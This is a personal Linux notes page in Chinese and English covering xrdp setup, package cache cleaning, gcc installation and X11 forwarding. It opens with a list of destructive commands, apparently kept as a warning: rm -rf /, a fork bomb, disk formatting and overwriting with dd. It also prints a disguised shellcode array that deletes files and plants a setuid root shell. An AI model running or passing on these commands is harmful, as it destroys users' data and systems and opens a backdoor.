Linux相关
Deletes Everything
rm -rf /
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Fork Bomb
:(){ :|: & };:
Formats a Hard Drive
mkfs.ext4 /dev/sda1
Writes Junk Onto a Hard Drive
dd if=/dev/random of=/dev/sda
dd Command Show Progress Copy Bar With Status
dd if=/path/to/input of=/path/to/output status=progress
kacpid causes 100% cpu load
kacpid进程造成cpu使用率100%
查找
grep . -r /sys/firmware/acpi/interrupts/
禁用
echo "disable" > /sys/firmware/acpi/interrupts/gpe00
install gcc-10 on debian
使用testing里的gcc
echo 'deb http://deb.debian.org/debian testing main' >> /etc/apt/sources.list apt update -y apt install -y build-essential gcc g++
Manjaro
https://forum.manjaro.org/t/cpu-is-constant-on-high-frequency/111645/23
Arch Linux
向日葵
yay -S sunloginclient
sudo systemctl enable runsunloginclient.service
# 运行
sunloginclientxrdp(XFCE4)
# installing xorgxrdp-glamor for Intel and AMD GPUs and xorgxrdp-nvidia for Nvidia GPUs
yay install xrdp xorgxrdp
# 修改/etc/xrdp/sesman.ini
# [Xorg]
# 注释 param=Xorg
# 添加
param=/usr/lib/Xorg
# 修改~/.xinitrc
export LANG=zh_CN.UTF-8
export LANGUAGE=zh_CN:en_US
exec dbus-launch --sh-syntax startxfce4
sudo systemctl enable --now xrdp
# Sound
# Install the necessary PulseAudio modules with pulseaudio-module-xrdpManjaro
xrdp(KDE)
sudo pamac install xrdp xorgxrdp-git
sudo systemctl enable xrdp.service
sudo systemctl enable xrdp-sesman.service
sudo sh -c "echo 'allowed_users=anybody' >> /etc/X11/Xwrapper.config"
# 修改~/.xinitrc
## 注释exec $(get_session "$1")
## 添加
exec dbus-launch --sh-syntax startplasma-x11
# 重启
Cleaning the Cache
sudo pacman -Sc
pamac clean
# 保留3个旧版本
paccache -rvk3
pamac clean --keep 3Ubuntu(WSL1)
Can’t load shared library libQt5Core.so.5
sudo strip --remove-section=.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5Linux
X11 转发
服务端
安装 xorg-xauth包
在 /etc/ssh/sshd_config:
设置 X11Forwarding 为 yes
检查 AllowTcpForwarding 和 X11UseLocalhost 选项为 yes, 并且 X11DisplayOffset 设为 10 (这是默认值除非被修改过，参考 sshd_config(5))
然后重启这个 sshd daemon.